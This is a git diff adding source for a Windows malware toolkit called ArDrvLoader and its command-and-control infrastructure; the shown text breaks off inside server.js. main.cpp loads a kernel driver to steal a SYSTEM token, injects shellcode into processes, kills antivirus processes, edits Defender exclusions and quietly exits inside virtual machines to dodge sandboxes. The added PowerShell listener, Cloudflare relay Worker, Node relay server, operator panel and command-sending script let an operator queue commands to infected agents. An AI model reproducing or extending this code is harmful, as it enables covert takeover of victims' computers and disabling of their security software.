[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($bodyText)) } catch { } + + $c.state = "done" + $c.finished = $nowTs + $c.result = $decoded + } + } + + if ($state.agents[$agent]) { $state.agents[$agent].last_seen = $nowTs } + + Send-Text $res "ok" + continue + } + + if ($path -eq "/enqueue" -and $req.HttpMethod -eq "POST") + { + $text = $bodyText + + if (-not $text.Trim()) + { + Send-Text $res "empty" 400 + continue + } + + $id = [guid]::NewGuid().ToString() + + $null = $state.commands.Add([pscustomobject]@{ + id = $id; agent = $agent; text = $text; state = "queued"; + created = $nowTs; sent = 0; finished = 0; operator = "agent"; result = "" + }) + + Send-Json $res @{ ok = $true; id = $id } + continue + } + + if ($path -eq "/status") + { $last = "" + $done = @($state.commands | Where-Object { $_.agent -eq $agent -and $_.state -eq "done" } | Sort-Object finished -Descending | Select-Object -First 1) + + if ($done.Count -gt 0) + { + $last = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([string]$done[0].result)) + } + + Send-Json $res @{ ok = $true; agent = $agent; last = $last } + continue + } + + Send-Text $res "ok" + } + catch + { + try { Send-Json $res @{ ok = $false; error = $_.Exception.Message } 500 } catch { } + } + } +} +finally +{ + $listener.Stop() + $listener.Close() +} diff --git a/cloudflare/worker.js b/cloudflare/worker.js new file mode 100644 index 0000000..dc0311c --- /dev/null +++ b/cloudflare/worker.js @@ -0,0 +1,62 @@ +// Thin relay: this Worker owns no state. +// +// It forwards every request to the relay server and streams the answer back, so +// the panel, the database and the agent API all live on your own host. Nothing +// is stored in Cloudflare except what the platform keeps in transit. +// +// Bindings: +// var SERVER_URL https://your-server.example +// secret PROXY_SECRET optional shared header the server can require + +export default { + async fetch(request, env) + { + const base = (env.SERVER_URL || "").replace(/\/$/, ""); + + if (!base) + return new Response("SERVER_URL is not configured", { status: 500 }); + + const url = new URL(request.url); + const target = base + url.pathname + url.search; + + const headers = new Headers(request.headers); + + // Do not leak Cloudflare internals to the origin. + headers.delete("cf-connecting-ip"); + headers.delete("cf-ray"); + headers.delete("cf-visitor"); + headers.delete("x-forwarded-proto"); + + if (env.PROXY_SECRET) + headers.set("X-Proxy-Secret", env.PROXY_SECRET); + + const init = { + method: request.method, + headers, + redirect: "manual" + }; + + if (request.method !== "GET" && request.method !== "HEAD") + init.body = request.body; + + let upstream; + + try + { + upstream = await fetch(target, init); + } + catch (err) + { + return new Response("relay unreachable: " + (err && err.message ? err.message : err), { status: 502 }); + } + + const response = new Response(upstream.body, { + status: upstream.status, + statusText: upstream.statusText, + headers: upstream.headers + }); + + response.headers.set("Cache-Control", "no-store"); + return response; + } +}; diff --git a/cloudflare/wrangler.toml b/cloudflare/wrangler.toml new file mode 100644 index 0000000..878dfb9 --- /dev/null +++ b/cloudflare/wrangler.toml @@ -0,0 +1,19 @@ +name = "ardrv-relay" +main = "worker.js" +compatibility_date = "2024-11-01" + +# The Worker is only a proxy. All state, auth and the panel live on the relay +# server; configure its address in the dashboard or here. +# +# vars SERVER_URL https://relay.example.com +# secret PROXY_SECRET optional shared header checked by the server +# +# For local development put both in .dev.vars: +# SERVER_URL=http://127.0.0.1:8790 +# PROXY_SECRET=proxys3cret + +[vars] +SERVER_URL = "http://127.0.0.1:8790" + +[observability] +enabled = false diff --git a/driver_res.rc b/driver_res.rc new file mode 100644 index 0000000..894d3ef --- /dev/null +++ b/driver_res.rc @@ -0,0 +1,8 @@ +#include +#include "resource.h" + +// The driver image is optional. If ardrv.sys is not next to the project at +// build time, HAVE_DRIVER_IMAGE is not defined and no resource is emitted. +#ifdef HAVE_DRIVER_IMAGE +IDR_ARDRV_SYS RCDATA "ardrv.sys" +#endif diff --git a/main.cpp b/main.cpp new file mode 100644 index 0000000..5577795 --- /dev/null +++ b/main.cpp @@ -0,0 +1,823 @@ +#include "Common.h" +#include "Logger.h" +#include "CloudAgent.h" +#include "GuardService.h" +#include "VmDetect.h" +#include "KillSafety.h" +#include "HostSpawn.h" +#include "HostStager.h" +#include "StageClient.h" +#include "Exclusions.h" + +#include + +#pragma comment(lib, "shell32.lib") + +#include "DriverClient.h" +#include "TokenUtils.h" +#include "ProcessUtils.h" +#include "ShellcodeUtils.h" +#include "AvKill.h" +#include "ServiceManager.h" + +static int RunLoader(int argc, LPWSTR* argv) +{ + HANDLE mutex = CreateMutexW(nullptr, FALSE, L"Local\\ArDrvLoaderMutex"); + bool ownsMutex = false; + + if (mutex) + { + DWORD waitRes = WaitForSingleObject(mutex, 15000); + ownsMutex = (waitRes == WAIT_OBJECT_0 || waitRes == WAIT_ABANDONED); + + if (!ownsMutex) + { + Log(L"[-] Another loader instance is already running"); + CloseHandle(mutex); + return 12; + } + } + + Log(L"=== Loader start ==="); + + HANDLE driverToken = nullptr; + HANDLE systemToken = nullptr; + int ret = 0; + + if (argc >= 4 && _wcsicmp(argv[1], L"-install-service") == 0) + { + bool ok = EnsureWin32Service(argv[2], argv[3], true); + ret = ok ? 0 : 4; + goto cleanup; + } + + if (!EnsureDriverLoaded()) + { + ret = 2; + goto cleanup; + } + + if (!EscalateViaDriver(&driverToken)) + { + Log(L"[!] EscalateViaDriver failed or did not provide a SYSTEM token handle"); + } + + systemToken = GetSystemToken(driverToken); + + if (!systemToken) + { + ret = 3; + goto cleanup; + } + + if (argc >= 5 && _wcsicmp(argv[1], L"-i") == 0 && _wcsicmp(argv[3], L"-s") == 0) + { + DWORD pid = (DWORD)wcstoul(argv[2], nullptr, 10); + + std::vector shell; + + if (!ReadFileToMemory(argv[4], shell)) + { + ret = 5; + } + else + { + bool ok = InjectShellcodeIntoExisting(pid, shell.data(), shell.size()); + ret = ok ? 0 : 6; + } + } + else if (argc >= 5 && _wcsicmp(argv[1], L"-n") == 0 && _wcsicmp(argv[3], L"-s") == 0) + { + const wchar_t* target = argv[2]; + + std::vector shell; + + if (!ReadFileToMemory(argv[4], shell)) + { + ret = 5; + } + else + { + NewProcInfo info{}; + + if (!CreateProcessSuspendedAsSystem(systemToken, target, nullptr, false, &info)) + { + ret = 7; + } + else + { + bool ok = InjectShellcodeAndResume(info, shell.data(), shell.size()); + ret = ok ? 0 : 8; + } + } + } + else if (argc >= 3 && _wcsicmp(argv[1], L"-p") == 0) + { + const wchar_t* payload = argv[2]; + const wchar_t* args = (argc >= 4 ? argv[3] : nullptr); + + bool ok = StartProcessAsSystem(systemToken, payload, args, false); + ret = ok ? 0 : 9; + } + else if (argc >= 3 && _wcsicmp(argv[1], L"-watchdog") == 0) + { + const wchar_t* target = argv[2]; + DWORD intervalMs = 5000; + DWORD iterations = 0; + + if (argc >= 4) + intervalMs = (DWORD)wcstoul(argv[3], nullptr, 10); + + if (argc >= 5) + iterations = (DWORD)wcstoul(argv[4], nullptr, 10); + + DWORD done = 0; + + while (true) + { + if (!ProcessExistsByName(target)) + { + Log(L"[+] Watchdog: target not running, starting"); + + if (!StartProcessAsSystem(systemToken, target, nullptr, false)) + Log(L"[-] Watchdog: failed to start target"); + } + + if (iterations != 0 && ++done >= iterations) + break; + + Sleep(intervalMs); + } + + ret = 0; + } + else + { + KillAVProcesses(); + + const wchar_t* testExe = L"C:\\Windows\\System32\\cmd.exe"; + const wchar_t* testArgs = + L"/c (whoami & echo Loader OK) > C:\\Users\\Public\\loader_test.txt 2>&1"; + + bool ok = StartProcessAsSystem(systemToken, testExe, testArgs, false); + ret = ok ? 0 : 11; + } + +cleanup: + + if (systemToken) + CloseHandle(systemToken); + + if (driverToken) + CloseHandle(driverToken); + + if (ownsMutex && mutex) + ReleaseMutex(mutex); + + if (mutex) + CloseHandle(mutex); + + CloseDriver(); + + Log(L"=== Loader end ret=%d ===", ret); + + return ret; +} + +// Virtual machine gate. Every mode except an explicit override refuses to run +// inside a hypervisor guest. Exit code 0 and no log output, so a sandbox sees a +// process that starts and quietly terminates. +static int VmGate(int argc, wchar_t** argv) +{ + if (VmOverrideRequested(argc, argv)) + return -1; + + std::wstring reason; + + if (!IsVirtualMachine(&reason)) + return -1; + + wchar_t debug[8]{}; + DWORD n = GetEnvironmentVariableW(L"ARDRV_VM_DEBUG", debug, _countof(debug)); + + if (n > 0 && (debug[0] == L'1' || debug[0] == L'y' || debug[0] == L'Y')) + wprintf(L"[vm] refusing to run: %s\n", reason.c_str()); + + return 0; +} + +static bool IsProcessElevated() +{ + HANDLE token = nullptr; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) + return false; + + TOKEN_ELEVATION elevation{}; + DWORD len = sizeof(elevation); + + bool elevated = + GetTokenInformation(token, TokenElevation, &elevation, len, &len) != FALSE && + elevation.TokenIsElevated != 0; + + CloseHandle(token); + return elevated; +} + +static bool HasCommandArg(int argc, wchar_t** argv, const wchar_t* name) +{ + for (int i = 1; i < argc; ++i) + { + if (argv[i] && _wcsicmp(argv[i], name) == 0) + return true; + } + + return false; +} + +// Relaunches the same command line under UAC. Returns true when the elevated +// copy was started; the caller should then exit. +static bool RelaunchElevated(int argc, wchar_t** argv) +{ + wchar_t exe[MAX_PATH]{}; + + DWORD len = GetModuleFileNameW(nullptr, exe, _countof(exe)); + + if (len == 0 || len >= _countof(exe)) + return false; + + std::wstring params; + + // Double-click: the elevated copy must still know it is the bootstrap. The + // appended --elevated flag would otherwise look like a normal command line. + if (argc < 2) + params = L"-bootstrap"; + + for (int i = 1; i < argc; ++i) + { + std::wstring a = argv[i]; + + if (!params.empty()) + params += L" "; + + if (a.find(L' ') != std::wstring::npos && (a.empty() || a.front() != L'"')) + params += L"\"" + a + L"\""; + else + params += a; + } + + params += L" --elevated"; + + HINSTANCE h = ShellExecuteW(nullptr, L"runas", exe, params.c_str(), nullptr, SW_SHOWNORMAL); + + if ((INT_PTR)h <= 32) + { + wprintf(L"[!] elevation declined or failed (%d)\n", (int)(INT_PTR)h); + return false; + } + + return true; +} + +// Commands that need administrator rights. Anything else runs as-is; after the +// first elevated install the services do all privileged work. +static bool NeedsElevation(int argc, wchar_t** argv) +{ + // Double-click with no arguments runs the bootstrap, which needs admin. + if (argc < 2) + return true; + + const bool dryRun = HasCommandArg(argc, argv, L"--dry-run"); + + if (_wcsicmp(argv[1], L"-install-guard-services") == 0 || + _wcsicmp(argv[1], L"--install-guard-services") == 0 || + _wcsicmp(argv[1], L"-bootstrap") == 0 || + _wcsicmp(argv[1], L"--bootstrap") == 0) + { + return !dryRun; + } + + if (_wcsicmp(argv[1], L"-killav") == 0 || _wcsicmp(argv[1], L"--killav") == 0) + return !dryRun; + + if (_wcsicmp(argv[1], L"-drv") == 0 && argc >= 3) + { + return _wcsicmp(argv[2], L"extract") == 0 || + _wcsicmp(argv[2], L"reset") == 0 || + _wcsicmp(argv[2], L"kill") == 0; + } + + if (_wcsicmp(argv[1], L"-excl") == 0 && argc >= 3) + { + return _wcsicmp(argv[2], L"add") == 0 || _wcsicmp(argv[2], L"apply") == 0; + } + + return false; +} + +int wmain(int argc, LPWSTR* argv) +{ + // Elevation first: a double-click must always show the UAC prompt, even on a + // host the VM gate would later refuse. + if (NeedsElevation(argc, argv) && + !IsProcessElevated() && + !HasCommandArg(argc, argv, L"--elevated")) + { + // One UAC, first run. After this the services hold the privileges. + if (!RelaunchElevated(argc, argv)) + return 1; + + return 0; + } + + int vm = VmGate(argc, argv); + + if (vm >= 0) + return vm; + + if (argc >= 2 && _wcsicmp(argv[1], L"-enroll") == 0) + return RunEnroll(argc, argv); + + if (argc >= 2 && _wcsicmp(argv[1], L"-excl") == 0) + { + if (argc < 3) + { + wprintf(L"Usage: ArDrvLoader.exe -excl list|add |apply\n"); + return 1; + } + + if (_wcsicmp(argv[2], L"list") == 0) + { + std::wstring note; + std::vector current = QueryExclusions(note); + + wprintf(L"defender=%s current=%s\n", DefenderPresent() ? L"present" : L"absent", note.c_str()); + wprintf(L"%s\n", FormatExclusionList(current).c_str()); + return 0; + } + + if (_wcsicmp(argv[2], L"add") == 0 && argc >= 4) + { + std::vector paths = LoadExclusionList(); + paths.push_back(argv[3]); + + bool saved = SaveExclusionList(paths); + + std::wstring report; + bool applied = ApplyExclusions(paths, report); + + wprintf(L"%s%s\n%s\n", + saved ? L"saved" : L"save-failed", + applied ? L" applied" : L" refused", + report.c_str()); + + return applied ? 0 : 1; + } + + if (_wcsicmp(argv[2], L"apply") == 0) + { + std::vector paths = LoadExclusionList(); + + if (paths.empty()) + { + paths = DefaultExclusionPaths(); + SaveExclusionList(paths); + } + + std::wstring report; + bool applied = ApplyExclusions(paths, report); + + wprintf(L"%s\n%s\n", applied ? L"applied" : L"refused", report.c_str()); + return applied ? 0 : 1; + } + + wprintf(L"Usage: ArDrvLoader.exe -excl list|add |apply\n"); + return 1; + } + + if (argc >= 2 && _wcsicmp(argv[1], L"-drv") == 0) + { + if (argc < 3) + { + wprintf(L"Usage: ArDrvLoader.exe -drv status|extract |kill \n"); + return 1; + } + + if (_wcsicmp(argv[2], L"status") == 0) + { + bool open = OpenDriver(); + CloseDriver(); + + DWORD fails = 0; + DWORD failMax = 3; + std::wstring state = L"unset"; + + HKEY h = nullptr; + + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, KEY_READ, &h) == ERROR_SUCCESS) + { + DWORD type = 0; + DWORD size = sizeof(fails); + DWORD v = 0; + + if (RegQueryValueExW(h, L"DriverFailCount", nullptr, &type, (LPBYTE)&v, &size) == ERROR_SUCCESS && type == REG_DWORD) + fails = v; + + size = sizeof(failMax); + v = 0; + + if (RegQueryValueExW(h, L"DriverFailMax", nullptr, &type, (LPBYTE)&v, &size) == ERROR_SUCCESS && type == REG_DWORD) + failMax = v; + + wchar_t buf[64]{}; + size = sizeof(buf); + + if (RegQueryValueExW(h, L"DriverState", nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS && type == REG_SZ) + state = buf; + + RegCloseKey(h); + } + + wprintf(L"device=%s embedded=%lu bytes fail=%lu/%lu state=%s\n", + open ? L"ok" : L"unavailable", + EmbeddedDriverSize(), + fails, + failMax, + state.c_str()); + + return open ? 0 : 1; + } + + if (_wcsicmp(argv[2], L"reset") == 0) + { + HKEY h = nullptr; + + if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, nullptr, 0, KEY_SET_VALUE, nullptr, &h, nullptr) + != ERROR_SUCCESS) + { + wprintf(L"ERR registry write denied\n"); + return 1; + } + + DWORD zero = 0; + RegSetValueExW(h, L"DriverFailCount", 0, REG_DWORD, (const BYTE*)&zero, sizeof(zero)); + + const wchar_t* state = L"reset"; + RegSetValueExW(h, L"DriverState", 0, REG_SZ, (const BYTE*)state, + (DWORD)((wcslen(state) + 1) * sizeof(wchar_t))); + + RegCloseKey(h); + wprintf(L"OK counters cleared\n"); + return 0; + } + + if (_wcsicmp(argv[2], L"extract") == 0 && argc >= 4) + { + bool ok = WriteEmbeddedDriverTo(argv[3]); + wprintf(L"%s %s\n", ok ? L"OK" : L"ERR", argv[3]); + return ok ? 0 : 1; + } + + if (_wcsicmp(argv[2], L"kill") == 0 && argc >= 4) + { + DWORD pid = (DWORD)wcstoul(argv[3], nullptr, 10); + + if (!OpenDriver()) + { + wprintf(L"ERR driver device unavailable\n"); + return 1; + } + + bool ok = TerminateProcessViaDriver(pid); + CloseDriver(); + + wprintf(L"%s pid=%lu\n", ok ? L"OK" : L"ERR", pid); + return ok ? 0 : 1; + } + + wprintf(L"Usage: ArDrvLoader.exe -drv status|extract |kill \n"); + return 1; + } + + if (argc >= 2 && + (_wcsicmp(argv[1], L"-killav") == 0 || _wcsicmp(argv[1], L"--killav") == 0)) + { + bool dryRun = false; + bool force = false; + std::vector names; + + for (int i = 2; i < argc; ++i) + { + if (_wcsicmp(argv[i], L"--dry-run") == 0) + dryRun = true; + + if (_wcsicmp(argv[i], L"--force") == 0) + force = true; + + if (_wcsicmp(argv[i], L"--name") == 0 && i + 1 < argc) + names.emplace_back(argv[++i]); + } + + std::wstring summary; + + if (names.empty()) + { + if (!dryRun) + EnsureDriverLoaded(); + + KillAVProcessesEx(dryRun, summary); + } + else + { + KillReport report; + KillProcessesSafe(names, dryRun, 16, report, force); + summary = report.Format(); + } + + wprintf(L"%s\n", summary.c_str()); + return 0; + } + + if (argc >= 2 && _wcsicmp(argv[1], L"-stage") == 0) + { + if (argc < 3) + { + wprintf(L"Usage: ArDrvLoader.exe -stage status|inject|run|stop [args]\n"); + return 1; + } + + if (_wcsicmp(argv[2], L"status") == 0) + { + wprintf(L"%s\n", FormatStageStatus().c_str()); + return 0; + } + + if (_wcsicmp(argv[2], L"inject") == 0) + { + std::wstring preferred; + std::wstring dll; + bool requireSystem = true; + + for (int i = 3; i < argc; ++i) + { + if (_wcsicmp(argv[i], L"--any-host") == 0) + requireSystem = false; + else if (_wcsicmp(argv[i], L"--host") == 0 && i + 1 < argc) + preferred = argv[++i]; + else if (argv[i][0] != L'-' && dll.empty()) + dll = argv[i]; + } + + HostInjectResult r = StageInject(dll, preferred, requireSystem); + wprintf(L"%s\n", FormatInjectResult(r).c_str()); + + if (r.ok && StageAlive()) + wprintf(L"stage: %s\n", FormatStageStatus().c_str()); + + return r.ok ? 0 : 1; + } + + if (_wcsicmp(argv[2], L"whoami") == 0) + { + std::wstring response; + + if (!StageSend(L"WHOAMI", response)) + { + wprintf(L"ERR stage not reachable\n"); + return 1; + } + + wprintf(L"%s\n", response.c_str()); + return 0; + } + + if (_wcsicmp(argv[2], L"run") == 0) + { + if (argc < 4) + { + wprintf(L"Usage: ArDrvLoader.exe -stage run \n"); + return 1; + } + + std::wstring cmd; + + for (int i = 3; i < argc; ++i) + { + if (!cmd.empty()) + cmd += L" "; + + cmd += argv[i]; + } + + std::wstring response; + + if (!StageSend(L"RUN " + cmd, response)) + { + wprintf(L"ERR stage not reachable\n"); + return 1; + } + + wprintf(L"%s\n", response.c_str()); + return 0; + } + + if (_wcsicmp(argv[2], L"stop") == 0) + { + std::wstring response; + + if (!StageSend(L"STOP", response)) + { + wprintf(L"ERR stage not reachable\n"); + return 1; + } + + wprintf(L"%s\n", response.c_str()); + return 0; + } + + wprintf(L"Unknown -stage subcommand\n"); + return 1; + } + + if (argc >= 3 && _wcsicmp(argv[1], L"-host") == 0) + { + if (_wcsicmp(argv[2], L"track") == 0) + { + wprintf(L"%s\n", FormatHostTrack(LoadHostTrack()).c_str()); + return 0; + } + + if (_wcsicmp(argv[2], L"untrack") == 0) + { + wprintf(L"%s\n", ClearHostTrack() ? L"cleared" : L"nothing to clear"); + return 0; + } + + if (_wcsicmp(argv[2], L"ensure") == 0 || _wcsicmp(argv[2], L"inject") == 0) + { + const bool ensureMode = (_wcsicmp(argv[2], L"ensure") == 0); + + std::wstring path; + std::wstring preferred; + bool requireSystem = true; + bool expectHostValue = false; + + for (int k = 3; k < argc; ++k) + { + if (expectHostValue) + { + preferred = argv[k]; + expectHostValue = false; + continue; + } + + if (_wcsicmp(argv[k], L"--any-host") == 0) + { + requireSystem = false; + continue; + } + + if (_wcsicmp(argv[k], L"--host") == 0 && k + 1 < argc) + { + expectHostValue = true; + continue; + } + + if (argv[k][0] != L'-' && path.empty()) + path = argv[k]; + } + + if (!ensureMode && path.empty()) + { + wprintf(L"Usage: ArDrvLoader.exe -host inject [--host ] [--any-host]\n"); + return 1; + } + + HostInjectResult r = ensureMode + ? EnsureHostInjected(requireSystem) + : InjectShellcodeIntoHost(path, preferred, requireSystem); + + wprintf(L"%s\n", FormatInjectResult(r).c_str()); + return r.ok ? 0 : 1; + } + + if (_wcsicmp(argv[2], L"list") == 0) + { + bool any = false; + + for (int i = 3; i < argc; ++i) + { + if (_wcsicmp(argv[i], L"--any") == 0) + any = true; + } + + wprintf(L"%s\n", FormatHostList(EnumerateHosts(!any)).c_str()); + return 0; + } + + if (_wcsicmp(argv[2], L"spawn") == 0 || _wcsicmp(argv[2], L"spawn-user") == 0) + { + if (argc < 4) + { + wprintf(L"Usage: ArDrvLoader.exe -host spawn [--host ] [args]\n"); + return 1; + } + + const bool userSession = (_wcsicmp(argv[2], L"spawn-user") == 0); + + int i = 3; + std::wstring preferred; + bool requireSystem = true; + + for (int k = 3; k < argc; ++k) + { + if (_wcsicmp(argv[k], L"--any-host") == 0) + requireSystem = false; + } + + if (_wcsicmp(argv[i], L"--host") == 0 && i + 1 < argc) + { + preferred = argv[i + 1]; + i += 2; + } + + while (i < argc && argv[i][0] == L'-') + ++i; + + if (i >= argc) + { + wprintf(L"Usage: ArDrvLoader.exe -host spawn [--host ] [args]\n"); + return 1; + } + + std::wstring exe = argv[i++]; + std::wstring args; + + for (; i < argc; ++i) + { + if (!args.empty()) + args += L" "; + + args += argv[i]; + } + + std::wstring cmd = exe; + + if (cmd.find(L' ') != std::wstring::npos && cmd.front() != L'"') + cmd = L"\"" + cmd + L"\""; + + if (!args.empty()) + { + cmd += L" "; + cmd += args; + } + + SpawnResult r = SpawnThroughHost(cmd, preferred, userSession, requireSystem); + wprintf(L"%s\n", FormatSpawnResult(r).c_str()); + return r.ok ? 0 : 1; + } + + wprintf(L"Usage: ArDrvLoader.exe -host list | spawn [--host ] [args] | spawn-user ...\n"); + return 1; + } + + // Double-click with no arguments: bootstrap using build-time defaults. + if (argc < 2) + return RunBootstrap(argc, argv); + + if (argc >= 2 && + (_wcsicmp(argv[1], L"-install-guard-services") == 0 || + _wcsicmp(argv[1], L"--install-guard-services") == 0)) + { + return InstallGuardServices(argc, argv); + } + + if (argc >= 2 && + (_wcsicmp(argv[1], L"-bootstrap") == 0 || + _wcsicmp(argv[1], L"--bootstrap") == 0)) + { + return RunBootstrap(argc, argv); + } + + if (argc >= 3 && + (_wcsicmp(argv[1], L"-service") == 0 || _wcsicmp(argv[1], L"--service") == 0)) + { + return RunGuardService(argc, argv); + } + + if (argc >= 2 && + (_wcsicmp(argv[1], L"-cloud-service") == 0 || _wcsicmp(argv[1], L"--cloud-service") == 0)) + { + return RunCloudService(argc, argv); + } + + if (argc >= 2 && + (_wcsicmp(argv[1], L"-cloud") == 0 || _wcsicmp(argv[1], L"--cloud") == 0)) + { + return RunCloudAgent(argc, argv); + } + + return RunLoader(argc, argv); +} + + diff --git a/resource.h b/resource.h new file mode 100644 index 0000000..59a896e --- /dev/null +++ b/resource.h @@ -0,0 +1,9 @@ +#pragma once + +// Embedded driver image (ardrv.sys) packed as an RCDATA resource. +// Only compiled in when ardrv.sys sits next to the project at build time. +#define IDR_ARDRV_SYS 101 + +// Embedded stage payload (ardrvstage.dll). Only compiled in when the DLL was +// built and copied next to the project first - see build.ps1. +#define IDR_STAGE_DLL 102 diff --git a/send-command.ps1 b/send-command.ps1 new file mode 100644 index 0000000..035d28a --- /dev/null +++ b/send-command.ps1 @@ -0,0 +1,67 @@ +param( + [Parameter(Mandatory = $true)] + [string]$Worker, + + [Parameter(Mandatory = $true)] + [string]$Agent, + + [Parameter(Mandatory = $true)] + [string]$Secret, + + [Parameter(Mandatory = $true)] + [string]$Command +) + +# Signs requests exactly like the agent does: +# hex(HMAC-SHA256(secret, agent \n ts \n METHOD \n path+query \n sha256hex(body))) +# No secret is ever placed in a URL. + +$ErrorActionPreference = "Stop" + +$base = $Worker.TrimEnd('/') +$bodyBytes = [System.Text.Encoding]::UTF8.GetBytes($Command) + +function Get-Sha256Hex([byte[]]$Bytes) +{ + $sha = [System.Security.Cryptography.SHA256]::Create() + + try + { + $stream = New-Object System.IO.MemoryStream(, $Bytes) + return ([BitConverter]::ToString($sha.ComputeHash($stream)) -replace "-", "").ToLower() + } + finally { $sha.Dispose() } +} + +function Get-HmacHex([string]$Key, [string]$Message) +{ + $hmac = New-Object System.Security.Cryptography.HMACSHA256 + + try + { + $hmac.Key = [System.Text.Encoding]::UTF8.GetBytes($Key) + $hash = $hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Message)) + return ([BitConverter]::ToString($hash) -replace "-", "").ToLower() + } + finally { $hmac.Dispose() } +} + +$ts = [string][DateTimeOffset]::UtcNow.ToUnixTimeSeconds() +$canonical = "$Agent`n$ts`nPOST`nenqueue`n$(Get-Sha256Hex $bodyBytes)" +$sign = Get-HmacHex $Secret $canonical + +$headers = @{ + "X-Agent-Id" = $Agent + "X-Agent-Ts" = $ts + "X-Agent-Sign" = $sign +} + +$response = Invoke-WebRequest ` + -Method Post ` + -Uri "$base/enqueue" ` + -Body $bodyBytes ` + -ContentType "application/octet-stream" ` + -Headers $headers ` + -UseBasicParsing + +$response.Content diff --git a/server/.env.example b/server/.env.example new file mode 100644 index 0000000..cd01339 --- /dev/null +++ b/server/.env.example @@ -0,0 +1,21 @@ +# Relay server environment (node server/server.js). +# Copy to server/.env or set these in your process manager. + +PORT=8790 +DATA_DIR=./data +PANEL_PATH=../cloudflare/panel.html + +# Master key. Agent keys are derived from it; it is never sent to agents. +AGENT_SECRET=testsecret + +# Panel / operator API key. +OPERATOR_KEY=testop + +# One-time enrollment token handed out by the operator. +ENROLL_SECRET=testenroll + +# Accept the shared master key during migration. Off by default. +LEGACY_MASTER_AUTH=false + +# When set, the Worker must send X-Proxy-Secret with every request. +PROXY_SECRET=proxys3cret diff --git a/server/panel.html b/server/panel.html new file mode 100644 index 0000000..19822a3 --- /dev/null +++ b/server/panel.html @@ -0,0 +1,924 @@ + + + + + +agent control + + + + +
+
+

Agent Control

+ + + +
+
+
+ +
+
+
agent control
+
connecting
+
+
+ + + +
+ +
+ + +
+
+
Select an agent on the left to open a console.
+ +
+
+ +
+ + +
+ + +
+ +
+ + + + + + + + + + + + + +
timeagentcommandstatebyresulttook
+ +
+ + + +
+
+
+
+ +
+ + + + diff --git a/server/server.js b/server/server.js new file mode 100644 index 0000000..a18c863 --- /dev/null +++ b/server/server.js @@ -0,0 +1,492 @@ +// Relay server for ArDrvLoader agents. +// +// The Cloudflare Worker is only a proxy in front of this process; all state, +// auth and the panel live here. Node >= 22 for node:sqlite. +// +// node server.js +// +// Env: +// PORT listen port (default 8790) +// DATA_DIR sqlite + payloads (default ./data) +// PANEL_PATH panel.html (default ../cloudflare/panel.html) +// AGENT_SECRET master key for agent key derivation +// OPERATOR_KEY panel / operator API key +// ENROLL_SECRET enrollment token +// LEGACY_MASTER_AUTH "true" accepts the shared key during rollout +// PROXY_SECRET when set, requests must carry X-Proxy-Secret + +const http = require("node:http"); +const fs = require("node:fs"); +const path = require("node:path"); +const crypto = require("node:crypto"); +const { DatabaseSync } = require("node:sqlite"); + +const PORT = Number(process.env.PORT || 8790); +const DATA_DIR = path.resolve(process.env.DATA_DIR || path.join(__dirname, "data")); +const PANEL_PATH = path.resolve(process.env.PANEL_PATH || path.join(__dirname, "panel.html")); + +const AGENT_SECRET = process.env.AGENT_SECRET || ""; +const OPERATOR_KEY = process.env.OPERATOR_KEY || ""; +const ENROLL_SECRET = process.env.ENROLL_SECRET || OPERATOR_KEY; +const PROXY_SECRET = process.env.PROXY_SECRET || ""; +const LEGACY_MASTER_AUTH = process.env.LEGACY_MASTER_AUTH === "true"; + +fs.mkdirSync(DATA_DIR, { recursive: true }); +fs.mkdirSync(path.join(DATA_DIR, "files"), { recursive: true }); + +const db = new DatabaseSync(path.join(DATA_DIR, "ardrv.sqlite")); + +db.exec("PRAGMA journal_mode=WAL"); +db.exec("PRAGMA busy_timeout=5000"); +db.exec("PRAGMA synchronous=NORMAL"); + +db.exec(` +CREATE TABLE IF NOT EXISTS agents ( + id TEXT PRIMARY KEY, + first_seen INTEGER NOT NULL, + last_seen INTEGER NOT NULL, + host TEXT, user TEXT, sid TEXT, version TEXT, + interval INTEGER, system INTEGER, tags TEXT, revoked INTEGER DEFAULT 0 +); +CREATE TABLE IF NOT EXISTS commands ( + id TEXT PRIMARY KEY, + agent TEXT NOT NULL, + text TEXT NOT NULL, + state TEXT NOT NULL, + created INTEGER NOT NULL, + sent INTEGER, finished INTEGER, + operator TEXT, result TEXT, error TEXT +); +CREATE INDEX IF NOT EXISTS idx_commands_agent ON commands(agent, created DESC); +CREATE INDEX IF NOT EXISTS idx_commands_state ON commands(state); +CREATE TABLE IF NOT EXISTS events ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + ts INTEGER NOT NULL, kind TEXT NOT NULL, agent TEXT, detail TEXT +); +`); + +const now = () => Math.floor(Date.now() / 1000); + +function hmacHex(secret, message) +{ + return crypto.createHmac("sha256", String(secret)).update(String(message)).digest("hex"); +} + +function sha256Hex(buf) +{ + return crypto.createHash("sha256").update(buf || Buffer.alloc(0)).digest("hex"); +} + +function deriveAgentSecret(agent) +{ + return hmacHex(AGENT_SECRET, "agent:" + agent); +} + +function safeEqual(a, b) +{ + const x = Buffer.from(String(a)); + const y = Buffer.from(String(b)); + return x.length === y.length && crypto.timingSafeEqual(x, y); +} + +function json(res, data, status = 200) +{ + const body = JSON.stringify(data); + res.writeHead(status, { + "Content-Type": "application/json; charset=utf-8", + "Content-Length": Buffer.byteLength(body), + "Cache-Control": "no-store" + }); + res.end(body); +} + +function text(res, body, status = 200, type = "text/plain; charset=utf-8") +{ + const buf = Buffer.isBuffer(body) ? body : Buffer.from(String(body), "utf8"); + res.writeHead(status, { "Content-Type": type, "Content-Length": buf.length, "Cache-Control": "no-store" }); + res.end(buf); +} + +function readBody(req) +{ + return new Promise((resolve, reject) => { + const chunks = []; + req.on("data", c => chunks.push(c)); + req.on("end", () => resolve(Buffer.concat(chunks))); + req.on("error", reject); + }); +} + +function authenticateAgent(req, url, body) +{ + const agent = (req.headers["x-agent-id"] || "").trim(); + const ts = (req.headers["x-agent-ts"] || "").trim(); + const sign = (req.headers["x-agent-sign"] || "").trim().toLowerCase(); + + if (!AGENT_SECRET || !agent || !ts || !sign) + return null; + + if (!/^[A-Za-z0-9._-]{1,64}$/.test(agent)) + return null; + + const tsNum = Number(ts); + + if 